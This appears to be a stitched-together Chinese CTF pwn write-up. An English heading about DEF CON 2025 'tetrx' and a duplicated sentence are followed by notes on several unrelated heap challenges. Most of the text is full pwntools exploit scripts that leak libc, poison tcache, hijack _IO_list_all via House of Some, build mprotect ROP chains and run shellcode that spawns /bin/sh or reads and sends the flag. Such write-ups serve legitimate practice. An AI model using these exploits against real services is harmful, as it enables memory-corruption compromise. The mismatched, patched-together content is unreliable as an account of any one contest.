DEF CON CTF Qualifier 2025 tetrx
And finally, this solution coming from T1d and RiK of RePokemonedCollections is the most “platonic ideal” of the ones we saw.
And finally, this solution coming from T1d and RiK of RePokemonedCollections is the most “platonic ideal” of the ones we saw.
程序模拟了一个数据库,其中每个表的数据从高地址向低地址增长,低地址存放数据的堆上偏移。每个表总长 1024 字节,每个偏移 4 字节长。一次性写入 1021 字节的数据可以覆盖偏移值,从而修改块大小,得到堆上无限长溢出读写。
#!/usr/bin/python
from pwn import *
from ctypes import *
itob = lambda x: str(x).encode()
context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './db'
# io = process(binary)
io = connect('61.147.171.106', 61212)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)
# gdb.attach(io, '')
def create(index: int):
io.sendlineafter(b'>>> ', b'1')
io.sendlineafter(b'Index: ', itob(index))
def remove(index: int):
io.sendlineafter(b'>>> ', b'2')
io.sendlineafter(b'Index: ', itob(index))
def insert(index: int, length: int, content:bytes) -> int:
io.sendlineafter(b'>>> ', b'3')
io.sendlineafter(b'Index: ', itob(index))
io.sendlineafter(b'Length: ', itob(length))
io.sendafter(b'Varchar: ', content)
io.recvuntil(b'slot id: ')
return int(io.recvline(False).decode())
def get(index: int, slot: int) -> bytes:
io.sendlineafter(b'>>> ', b'4')
io.sendlineafter(b'Index: ', itob(index))
io.sendlineafter(b'Slot ID: ', itob(slot))
io.recvuntil(b'Varchar: ')
return io.recvline(False)
def edit(index: int, slot: int, length: int, content: bytes):
io.sendlineafter(b'>>> ', b'5')
io.sendlineafter(b'Index: ', itob(index))
io.sendlineafter(b'Slot ID: ', itob(slot))
io.sendlineafter(b'Length: ', itob(length))
io.sendafter(b'Varchar: ', content)
def exitit():
io.sendlineafter(b'>>> ', b'6')
for i in range(10):
create(i)
for i in range(1, 10):
remove(i)
insert(0, 1021, cyclic(1020) + b'\x00')
rec = get(0, 0)
libc.address = u64(rec[8765 : 8765 + 8]) - 0x21ace0
success(f'libc_base: 0x{libc.address:x}')
tcache_key = u64(rec[1037 : 1037 + 8])
success(f'tcache_key: 0x{tcache_key:x}')
from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(tcache_key << 12) + 0x4000)
payload = hos.hoi_read_file_template((tcache_key << 12) + 0x4000, 0x400, (tcache_key << 12) + 0x4000, 0)
rec = rec.replace(rec[7613 : 7613 + 8], p64((libc.sym['_IO_list_all'] - 0x400 + 16) ^ (tcache_key + 1)))
edit(0, 0, 7613 + 8, rec[:7613 + 8])
create(1)
insert(1, len(payload), payload)
create(2)
insert(2, 16, p64((tcache_key << 12) + 8128) + p64(0))
exitit()
hos.bomb(io)
io.interactive()题目给出了启动脚本和 Dockerfile,一个根目录 cpio 镜像,一个内核镜像。打开 rootfs.cpio,在 /init 里有
nohup /usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf >/dev/null &
nohup bash /usr/sbin/mqtt_restart.sh >/dev/null &。其中 mosquitto 是 MQTT 协议的 message broker,是一个用于物联网设备的消息代理服务,和其他设备远程通信。所以这道题的远程环境不是用 nc 直接连的,也没法直接用 pwntools。
/usr/sbin/mqtt_restart.sh 每秒尝试重启 /usr/sbin/mqtt_lock
#!/bin/bash
PROCESS_NAME="mqtt_lock"
while true; do
if ! ps -ef | grep -v grep | grep -q "$PROCESS_NAME"; then
nohup /usr/sbin/mqtt_lock > /dev/null 2>&1 &
fi
sleep 1
done &,而 mqtt_lock 就是我们要逆向分析的程序。
...
首先要把设备的证书取出来,在 /etc/mosquitto/certs,然后用 Python paho 连接设备。
import paho.mqtt.client as mqtt
import ssl
client = mqtt.Client()
client.tls_set(ca_certs="./certs/ca.crt", tls_version=ssl.PROTOCOL_TLS)
client.tls_insecure_set(True)
client.connect('localhost', 8883)
client.loop_start()但是比赛期间一直不知道该订阅什么 topic,mqtt_lock 又是个静态链接无符号的程序,逆向起来实在难绷。topic 一般有斜杠 /,我翻遍所有的字符串也没找到像 topic 的,于是就先去做其他题了。
订阅 # 就是订阅所有 topic,但对于这道题也没什么用,这个设备不会主动发送任何信息。其实是向 auth_token topic publish 16 字节长的字母数字字符串作为 TOKEN,然后向 TOKEN topic 发送指纹。指纹在 /etc/mosquitto/fingers_credit 中取。
之后就是增删改查堆利用了。
待续...
执行 shellcode 前清空了寄存器上下文,但在 rdi 保留了 shellcode 基址,于是可以输入 /bin/sh 并执行 syscall execve("/bin/sh", 0, 0),getshell。
io.sendafter(b'strength \n', asm(f'add rdi, 13; mov rax, 59; syscall;') + b'/bin/sh')VM 指令 heap 中可以操作堆快,alloc free print input。其中 free 后未置空堆块指针,存在 UAF。首先申请 0x500 大堆块,在其中提前写入之后用到的 shellcode:open read sendto。然后 free 此堆块进入 unsorted bin 并 print 以获取 libc 基址。接着申请 0x60 小堆块,获取其中残留的 tcache next,获取线程 heap 基址。经调试发现 pthreads 为新线程分配的栈与 libc 偏移固定,再利用 UAF double free tcache chunk,tcache poisoning 至线程栈上 heap operation 函数返回地址前 24 字节处,写入ROP 链 mprotect 修改页权限并 ret2shellcode。
Exp:
#!/usr/bin/python
from pwn import *
from ctypes import *
itob = lambda x: str(x).encode()
context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './pwn'
p = process(binary)
# io = connect('127.0.0.1', 9999)
io = connect('node.vnteam.cn', 46995)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)
io.sendlineafter(b'create? ', b'1\n')
# io = connect('127.0.0.1', 9999)
io = connect('node.vnteam.cn', 46995)
s = 0.5
def heap():
io.sendline(b'heap 0 0')
sleep(s)
def alloc(size: int):
io.sendlineafter(b'Heap operate: ', b'alloc')
io.sendlineafter(b'Size: ', itob(size))
sleep(s)
def free():
io.sendlineafter(b'Heap operate: ', b'free')
sleep(s)
def printit():
io.sendlineafter(b'Heap operate: ', b'print')
sleep(s)
def input(content: bytes):
io.sendlineafter(b'Heap operate: ', b'input')
io.sendafter(b'Input: ', content)
sleep(s)
def AveMujica():
io.sendline(b'AveMujica 0 0')
sleep(s)
io.recvuntil(b'Input your Code (end with EOF): ')
for _ in range(13):
heap()
AveMujica()
io.sendline(b'EOF')
alloc(0x500)
input(p64(0xdeadbeef) * 4 + asm(f"""
mov rax, 0x67616c662f
push rax
mov rax, __NR_open
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
syscall
mov rax, __NR_read
mov rdi, 9
mov rsi, rsp
mov rdx, 0x50
syscall
mov rax, __NR_sendto
mov rdi, 7
syscall
mov rsi, rsp
"""))
free()
printit()
io.recvuntil(b'Content: ')
libc.address = u64(io.recv(8)) - 2206944
success(f'libc_base: 0x{libc.address:x}')
alloc(0x60)
free()
printit()
io.recvuntil(b'Content: ')
heap_key = u64(io.recv(8))
success(f'heap_key: 0x{heap_key:x}')
input(b'\x00' * 16)
free()
input(p64((libc.address - 980792 - 24) ^ heap_key))
alloc(0x60)
# gdb.attach(p, 'set resolve-heap-via-heuristic force\nb *$rebase(0xB2F9)')
alloc(0x60)
input(p64(0xcafebabe) * 3 + flat([
libc.search(asm('pop rdi;ret')).__next__(),
heap_key << 12,
libc.search(asm('pop rsi;ret')).__next__(),
0x1000,
libc.search(asm('pop rdx;pop r12;ret')).__next__(),
7,
0,
libc.sym['mprotect'],
(heap_key << 12) + 1888
]))
io.interactive()
p.wait()由于 lib 加载顺序不同,远程和本地的线程栈与 libc 偏移不同,需要在 docker container 中调试获取。
输入指令时使用 scanf %s,可以溢出修改栈上 nowhome 和 nowver,在 name 中构造假 MitaHome 和 Version 堆结构,将 nowhome 和 nowver 劫持到对应位置,即可在 $delete 命令时构造任意 free。在此之前大量创建新 MitaHome 并在 ID 字段填入 0x601 和 0x41 构造假 unsorted 大小堆块,利用任意 free 获取 unsorted chunk 泄漏 libc 基址。然后同样方法 double free tcache poisoning,修改 _IO_list_all 至 name 处,程序正常 exit 打 house of Some(_IO_flush_all 时利用 IO wide_data 任意读写,利用 environ 泄漏栈基址,栈上 ROP)。
Exp:
#!/usr/bin/python
from pwn import *
from ctypes import *
itob = lambda x: str(x).encode()
context(arch='amd64', os='linux', terminal=['konsole', '-e'], log_level='debug')
binary = './vuln6'
# io = process(binary)
io = connect('node.vnteam.cn', 47984)
e = ELF(binary)
libc = ELF('./libc.so.6', checksec=None)
# gdb.attach(io, '')
io.sendlineafter(b'name:\n', cyclic(0x200))
io.sendlineafter(b'>>> ', b'$show')
io.recvuntil(b'caaf')
heap_base = u32(io.recv(4)) - 672
success(f'heap_base: 0x{heap_base:x}')
io.sendlineafter(b'>>> ', f'aaaa-1_\x01\x06:aaaa')
for i in range(25):
io.sendlineafter(b'>>> ', f'aaaa{i}_\x41:aaaa')
name = 0x4040E0
fake_heap = p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40)
fake_heap += p64(0) + p64(0x41) + cyclic(0x30)
fake_heap += p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(heap_base + 832)
fake_heap += p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0)
io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', fake_heap)
io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10 + 0x40 * 2) + p64(name + 0x10 + 0x40 * 3))
io.sendlineafter(b'>>> ', b'$show\x00'.ljust(1344, b'a') + p64(heap_base + 832) + p64(name + 0x10 + 0x40 * 3))
0x1140a340
io.recvuntil(b'Now MiTaHome: ')
libc.address = u64(io.recv(6).ljust(8, b'\x00')) - 2206944
success(f'libc_base: 0x{libc.address:x}')
io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(0) * 3 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41))
io.sendlineafter(b'>>> ', b'$delete\x00'.ljust(1344, b'a') + p64(name + 0x10) + p64(name + 0x10 + 0x40 * 2))
io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', p64(0) + p64(0x41) + p64(libc.sym['_IO_list_all'] ^ 0x404) + p64(0) * 2 + p64(ord('1')) + p64(0) + p64(name + 0x10 + 0x40) + p64(0) + p64(0x41) + cyclic(0x30) + p64(0) + p64(0x41) + cyclic(0x20) + p64(name + 0x10) + p64(0) * 2 + p64(0x41))
io.sendlineafter(b'>>> ', b'mitaname_mitaid:vername')
io.sendlineafter(b'>>> ', p32(name)[:-1] + b'_mitaid:vername')
from SomeofHouse import HouseOfSome
hos = HouseOfSome(libc=libc, controled_addr=(heap_base) + 0x1000)
payload = hos.hoi_read_file_template((heap_base) + 0x1000, 0x400, (heap_base) + 0x1000, 0)
io.sendlineafter(b'>>> ', b'$name')
io.sendafter(b'name:\n', payload)
io.sendlineafter(b'>>> ', b'$exit')
io.recvuntil(b'Player out! :(\n')
hos.bomb_orw(io, b'/flag', offset=1816, read_length=128)
io.interactive()虽然提示说有要用到可以无限长输入的指令格式,但其实只要空字节截断字符串就好?